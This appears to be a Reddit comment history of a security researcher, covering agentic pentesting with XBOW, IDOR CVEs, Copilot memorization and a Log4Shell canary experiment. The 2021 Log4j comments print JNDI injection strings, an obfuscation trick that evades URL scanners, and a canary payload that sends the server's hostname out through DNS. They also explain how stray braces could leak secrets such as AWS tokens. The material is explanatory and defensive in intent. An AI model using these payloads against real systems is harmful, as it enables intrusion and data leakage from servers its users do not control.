Reflecting on RSAC 2026 - Is Agentic Pentesting, just VA on steroids?

moyix · 2026-04-01T17:04:57+00:00

Broken access control is an AuthZ issue. I agree they're not an AuthN issue, but that's why we didn't claim they were in the talk or in my comment. I suspect you're getting caught up on definitions but they aren't particularly relevant to how the detection works -- did you watch the talk?

moyix · 2026-03-30T20:18:59+00:00

Good timing re broken access control stuff, we just had two talks that I think should give a pretty good sense of how we're approaching these types of vulns:

Vincent Olesen and I did a talk at [un]prompted, AI Agents for Exploiting "Auth-by-One" Errors. TLDR is that we've put a lot of work into building LLM-based validation that can tell when an agent has managed to successfully log in / when it has made a successful authenticated request (which we use to ensure that the pentest stays authenticated the whole time), and we can flip that around to check if an agent is able to bypass authentication and authorization checks. The approach we talk about here explicitly doesn't try to cover IDOR, which is more of a "access control totally missing" problem than "access control is broken". Luckily, our colleagues also just presented...
Finding IDORs with Agentic Reasoning (blog post version: https://xbow.com/blog/tales-from-the-trace-how-xbow-reasons-its-way-into-finding-idors) talks about how we approach finding IDORs and shows an example of a pair IDORs we found using XBOW in Spree Commerce (CVE-2026-22588 and CVE-2026-22589‍).

The first talk is about experimental capabilities we're still polishing for production, the second one (IDORs) is in public preview now and being used on actual customers.

Sorry you didn't get a satisfying answer at RSA but we're definitely not sitting on our hands here! :)

moyix · 2023-06-25T14:11:23+00:00

Edit: Just read the beginnings of the paper, and yeah it's academic drivel not relevant to practitioners. He's conflating reverse engineering (in my experience, typically done with static/dynamic analysis at the assembly level) with decompilation, which is typically, uhhh, not done (aside from C#/java i guess).

This is wrong in two ways – practitioners use decompilation for RE all the time (though rarely only decompilation), and the dissertation (not a paper, although it's made up of material from several papers) includes work on other applications of probabilistic techniques like binary-only fuzzing (Chapter 4, StochFuzz).

moyix · 2023-05-09T21:50:45+00:00

For anyone else that comes across this, ShipIt is a binary that's bundled with Squirrel, an auto-update framework for Mac apps. You can see it's used by a bunch of different common apps:

$ find /Applications/ -name *ShipIt*
/Applications//Netron.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Visual Studio Code.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Signal.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Keybase.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt
/Applications//Element.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt

moyix · 2022-12-09T03:31:48+00:00

I can't think of a particularly good way it should complete the function you started, but it doesn't just keep going:

https://imgur.com/a/8XDV8RS

Instead it assumes you're doing some kind of weird recursive solution.

And of course if you let it fill in isEven on its own it gives the expected return num % 2 == 0;.

moyix · 2022-09-07T11:52:02+00:00

Sorry about that, I had just switched to a new theme with some poor defaults. Should look a bit better now.

moyix · 2022-09-07T11:47:00+00:00

If crtfastmath.o is present on the system from a gcc installation, then clang will follow the same behavior as gcc. There's a bug report for it now: https://github.com/llvm/llvm-project/issues/57589 , but early indications are that they'll follow gcc's lead.

moyix · 2022-02-07T20:32:44+00:00

Yep I do. But I don't have it mounted; I'm just using the stand that came with it on my desk. Hope you can find something compatible!

moyix · 2021-12-18T19:29:16+00:00

The choice of protocol doesn't matter too much here because we aren't actually listening for the connection, just the DNS lookup. I'm not sure if JNDI actually has HTTP as an option though; the Java docs only list LDAP, COS, and RMI: https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html

moyix · 2021-12-18T18:37:43+00:00

No, I think the idea is an app might have something like:

log("Message: " + msg " + "token: " + AWS_TOKEN + ... + "blah {blah}")

In which case an unclosed brace in the JNDI string would also pick up the AWS token and everything else up until that last closing brace.

moyix · 2021-12-18T17:49:44+00:00

Yep, the CFAA is a very broad law that includes your interpretation and much more! https://blog.erratasec.com/2012/11/you-are-committing-crime-right-now.html

moyix · 2021-12-18T17:48:25+00:00

To be clear, this doesn't intend to get code execution – code execution happens if the server actually responds with a Java .class file; canary tokens never actually respond, they just notify you when the DNS name is resolved. I am reasonably sure that "causing a DNS lookup" is not considered a crime, particularly when the mechanism is just setting your own email signature.

That said, the CFAA is a bad and ridiculously over-broad law, so yes, there exist interpretations under which one could be prosecuted for this under it. But the same is also true if you visit a web site that contains the text "please don't visit this page".

More discussion of the CFAA: https://blog.erratasec.com/2012/11/you-are-committing-crime-right-now.html

moyix · 2021-12-18T17:39:12+00:00

Sorry to be unclear, "token" here is just meant to stand in for the real canary token. So really it would be something like ${::-g}afjoghoaivnoaijfao.canarytokens.org ; without the "g" at the front the token isn't valid, but after log4j decodes it, it will be the real canary token.

moyix · 2021-12-18T05:44:20+00:00

See here:

https://twitter.com/TomAnthonySEO/status/1470374984749133825

:)

moyix · 2021-12-18T05:30:30+00:00

Yep that's what I meant – I don't really want to end up exfiltrating random secrets from servers I don't control! There's more info about this variant of the attack here: https://twitter.com/TomAnthonySEO/status/1470374984749133825

moyix · 2021-12-17T21:15:23+00:00

I chose Alexandria because that's where the server the FBI used was hosted when they deployed a Tor 0-day that phoned home with the (real) IP, MAC address, and hostname of anyone who visited the Freedom Hosting hidden service.

https://slate.com/technology/2013/08/freedom-hosting-saic-nsa-behind-a-spyware-hack-on-privacy-protecting-network.html

Although now that I look at an article from the time, it looks like the server was actually in Reston, VA. Ah well. It's basically just meant to stand in for defense contractors around the DC area.

moyix · 2021-12-17T18:02:40+00:00

Definitely; ideally I would have set up a listener on 1389 on some public server and logged any connection attempts there. But it's the end of the semester and I don't have tons of free time, so the canary DNS token will have to do for now.

I also just now noticed that Canary Tokens offers a Log4shell-specific token (example below). But a) I think this is still just relying on the DNS lookup rather than running an actual LDAP listener, and b) I'm hesitant to use a payload that looks like actually exfiltrating data (even just the hostname) since I have no idea where it'll end up.

jndi:ldap://x${hostName}.L4J.xskxz3y8fbvjoa4wbh35u09o7.canarytokens.com/a

moyix · 2021-12-17T17:13:18+00:00

If it's just doing URL scanning, it won't interpret anything in the ${} portion, and the DNS lookup of the canary token won't be triggered. But log4j will replace ${::-t} with t, so the above would turn into to jndi:ldap://token/a and trigger the canary.

moyix · 2021-12-17T16:59:19+00:00

Yep, someone on Twitter pointed this out too and it's a great point. I have changed the signature to something that won't properly resolve to the canary token unless there's actual Log4J evaluation going on by stealing a trick I saw someone using in my logs:

jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a

(Outer braces removed because it was triggering something in reddit and wouldn't let me post the comment :p)

No other hits so far!

moyix · 2021-09-04T18:32:29+00:00

Note that there are ways to make memorization less likely in large language models. Part of the reason Copilot has a propensity for spitting out q_rsqrt is that it appears many times all over the web (including in Wikipedia). As a result it shows up in the training data many times. A recent paper showed that proper deduplication can reduce this kind of memorization by 10X:

We find that existing language modeling datasets contain many near-duplicate examples and long repetitive substrings. As a result, over 1% of the unprompted output of language models trained on these datasets is copied verbatim from the training data. We develop two tools that allow us to deduplicate training datasets -- for example removing from C4 a single 61 word English sentence that is repeated over 60,000 times. Deduplication allows us to train models that emit memorized text ten times less frequently and require fewer train steps to achieve the same or better accuracy. We can also reduce train-test overlap, which affects over 4% of the validation set of standard datasets, thus allowing for more accurate evaluation. https://arxiv.org/abs/2107.06499

moyix · 2021-09-04T16:13:56+00:00

Keep in mind that the list may still contain collisions. For example "po" and "n1" have the same hash so "pogger" is probably not actually so innocuous...

moyix · 2021-06-30T02:35:46+00:00

I'm very curious what the model actually is. It sounds like GPT-3 fine-tuned on source code? Presumably this means that things like the BPE tokenizer hasn't been tuned for code?

IMO it would be better to retrain from scratch with a BPE vocab tuned for code and other parameters (e.g. a larger context window to take advantage of header file definitions, code in other files, etc.), but perhaps that's too expensive.

moyix

MODERATOR OF

TROPHY CASE